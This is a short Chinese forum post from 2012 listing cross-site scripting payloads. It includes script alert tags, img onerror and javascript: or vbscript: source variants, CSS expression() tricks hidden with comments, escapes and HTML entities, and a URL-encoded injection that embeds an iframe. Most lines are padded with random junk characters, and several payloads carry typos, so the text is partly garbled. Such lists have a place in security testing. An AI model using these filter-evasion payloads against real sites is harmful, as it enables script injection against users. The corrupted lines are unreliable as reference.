<script>alert("跨站")</script> (最常用）- }. G" j* E+ `- G8 L
<img scr=javascript:alert("跨站")></img>
# ]% `8 B. J8 A" n<img scr="javascript: alert(/跨站/)></img>
) c9 t! h3 T9 x<img scr="javas????cript:alert(/跨站/)" width=150></img> (?用tab键弄出来的空格）& h7 O3 J t1 D1 G# o
<img scr="#" onerror=alert(/跨站/)></img>
9 J. C. x0 ]) F. e<img scr="#" style="xss:expression(alert(/xss/));"></img>1 q7 @# i c. ~- J
<img scr="#"/* */onerror=alert(/xss/) width=150></img> (/**/ 表示注释）
( R8 K4 ]! W" \' g+ B<img src=vbscript:msgbox ("xss")></img>* r# D9 O5 ~. H5 ?7 x3 @
<style> input {left:expression (alert('xss'))}</style>* G6 }3 J" j! _, m& r' b4 R4 V/ i
<div style={left:expression (alert('xss'))}></div>4 x; R _5 O0 ~7 P" g# b! {
<div style={left:exp/* */ression (alert('xss'))}></div>& S+ _3 l8 ?4 ]6 L2 @6 N
<div style={left:\0065\0078ression (alert('xss'))}></div>
: }3 C% r9 g0 J j' J6 J0 e3 [html 实体 <div style={left:&#ｘ0065；xpression (alert('xss'))}></div>
8 i3 W g @: L* Y, U; y. }& Eunicode <div style="{left:expRessioN (alert('xss'))}">
. h* |( O! z8 p. j ~, z0 L& ?/ F2 g G( h% D% w+ A
"]}%3Cscript%3Ealert('我又来啦！.')%3C/script%3E{[&item="]<iframe%20src=WWW.BAIDU.COM%20width=400%20height=600></iframe>["
* H/ S" `+ c5 L7 j2 W3 p$ m( d7 \0 S3 n |
发表于 2012-9-15 14:09:13
收藏
支持
反对